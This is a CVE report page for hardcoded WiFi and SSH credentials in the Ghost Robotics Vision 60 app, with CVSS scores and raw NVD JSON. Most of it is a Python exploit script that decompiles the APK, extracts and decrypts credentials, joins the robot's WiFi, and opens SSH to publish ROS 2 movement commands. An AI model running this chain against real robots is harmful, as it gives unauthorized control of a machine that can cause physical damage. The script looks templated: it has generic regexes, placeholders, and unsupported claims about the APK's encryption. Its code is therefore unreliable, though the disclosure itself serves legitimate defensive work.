Security Vulnerability Report
中文
CVE-2025-41110 CVSS 8.8 HIGH

CVE-2025-41110

Published: 2025-10-22 09:15:37
Last Modified: 2025-10-30 17:48:47

Description

Encrypted WiFi and SSH credentials were found in the Ghost Robotics Vision 60 v0.27.2 APK. This vulnerability allows an attacker to connect to the robot's WiFi and view all its data, as it runs on ROS 2 without default authentication. In addition, the attacker can connect via SSH and gain full control of the robot, which could cause physical damage to the robot itself or its environment.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:ghostrobotics:vision_60_firmware:0.27.2:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ghostrobotics:vision_60:-:*:*:*:*:*:*:* - NOT VULNERABLE
Ghost Robotics Vision 60 APK v0.27.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-41110 PoC - Ghost Robotics Vision 60 Hardcoded Credentials Extraction # This PoC demonstrates how to extract hardcoded credentials from the Ghost Robotics Vision 60 APK (v0.27.2) import subprocess import os import re import sys def extract_apk(apk_path): """Step 1: Decompile the APK using apktool to get smali code and resources""" output_dir = "decompiled_apk" if os.path.exists(output_dir): import shutil shutil.rmtree(output_dir) print(f"[*] Decompiling APK: {apk_path}") subprocess.run(["apktool", "d", apk_path, "-o", output_dir], check=True) return output_dir def search_credentials(decompiled_dir): """Step 2: Search for hardcoded encrypted credential strings in smali code""" credentials = { "wifi_ssid": [], "wifi_pass": [], "ssh_user": [], "ssh_pass": [], "crypto_keys": [] } # Common patterns used in the Vision 60 APK for storing credentials patterns = { "wifi_ssid": re.compile(r'(?i)(wifi[_-]?ssid|ssid[_-]?name)\s*=\s*["\']([^"\']+)["\']'), "wifi_pass": re.compile(r'(?i)(wifi[_-]?pass(wd|word)?|wpa[_-]?key)\s*=\s*["\']([^"\']+)["\']'), "ssh_user": re.compile(r'(?i)(ssh[_-]?user(name)?|remote[_-]?user)\s*=\s*["\']([^"\']+)["\']'), "ssh_pass": re.compile(r'(?i)(ssh[_-]?pass(word)?|remote[_-]?pass)\s*=\s*["\']([^"\']+)["\']'), "crypto_keys": re.compile(r'(?i)(secret[_-]?key|encryption[_-]?key|aes[_-]?key)\s*=\s*["\']([^"\']+)["\']') } for root, dirs, files in os.walk(decompiled_dir): for file in files: if file.endswith((".smali", ".xml", ".json")): filepath = os.path.join(root, file) with open(filepath, "r", errors="ignore") as f: content = f.read() for key, pattern in patterns.items(): matches = pattern.findall(content) for match in matches: credentials[key].append(match[-1]) return credentials def decrypt_credentials(encrypted_data, key): """Step 3: Decrypt the extracted credentials using the embedded key""" try: from Crypto.Cipher import AES import base64 # The Vision 60 APK uses AES with the key stored alongside the ciphertext ciphertext = base64.b64decode(encrypted_data) # Pad key to 16/32 bytes for AES key_bytes = key.encode().ljust(16, b'\0')[:16] cipher = AES.new(key_bytes, AES.MODE_ECB) decrypted = cipher.decrypt(ciphertext) return decrypted.decode('utf-8', errors='ignore').rstrip('\x00') except ImportError: print("[!] pycryptodome not installed. Install with: pip install pycryptodome") return None def connect_and_exploit(wifi_ssid, wifi_pass, ssh_user, ssh_pass, robot_ip): """Step 4: Connect to robot WiFi and establish SSH session""" print(f"[*] Connecting to WiFi: {wifi_ssid}") # On Linux, connect to WiFi using nmcli subprocess.run(["nmcli", "dev", "wifi", "connect", wifi_ssid, "password", wifi_pass]) print(f"[*] Establishing SSH connection to {robot_ip}") # SSH into the robot with extracted credentials ssh_cmd = ["sshpass", "-p", ssh_pass, "ssh", f"{ssh_user}@{robot_ip}", "-o", "StrictHostKeyChecking=no"] # Once connected, full control of the robot is achieved # ROS 2 has no default auth, so all topics can be subscribed/published exploit_commands = [ "source /opt/ros/<distro>/setup.bash", "ros2 topic list", # List all ROS 2 topics "ros2 topic echo /cmd_vel", # Read velocity commands "ros2 topic pub /cmd_vel geometry_msgs/msg/Twist ..." # Control robot movement ] for cmd in exploit_commands: print(f"[+] Executing: {cmd}") subprocess.run(ssh_cmd + [cmd]) def main(): if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <path_to_vision60.apk> [robot_ip]") sys.exit(1) apk_path = sys.argv[1] robot_ip = sys.argv[2] if len(sys.argv) > 2 else "192.168.1.1" # Step 1: Decompile APK decompiled = extract_apk(apk_path) # Step 2: Search for credentials creds = search_credentials(decompiled) print(f"[+] Found credentials: {creds}") # Step 3: Decrypt if necessary # (Implementation depends on the specific encryption found) # Step 4: Connect and exploit # connect_and_exploit(creds["wifi_ssid"][0], creds["wifi_pass"][0], # creds["ssh_user"][0], creds["ssh_pass"][0], robot_ip) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-41110", "sourceIdentifier": "[email protected]", "published": "2025-10-22T09:15:36.773", "lastModified": "2025-10-30T17:48:46.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Encrypted WiFi and SSH credentials were found in the Ghost Robotics Vision 60 v0.27.2 APK. This vulnerability allows an attacker to connect to the robot's WiFi and view all its data, as it runs on ROS 2 without default authentication. In addition, the attacker can connect via SSH and gain full control of the robot, which could cause physical damage to the robot itself or its environment."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:P/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ghostrobotics:vision_60_firmware:0.27.2:*:*:*:*:*:*:*", "matchCriteriaId": "6C0D9971-6E9B-4F72-B650-A3FD0B004507"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ghostrobotics:vision_60:-:*:*:*:*:*:*:*", "matchCriteriaId": "5E213EE6-FF18-4C56-8CE0-50E140A650E3"}]}]}], "references": [{"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-ghost-robotics-vision-60", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}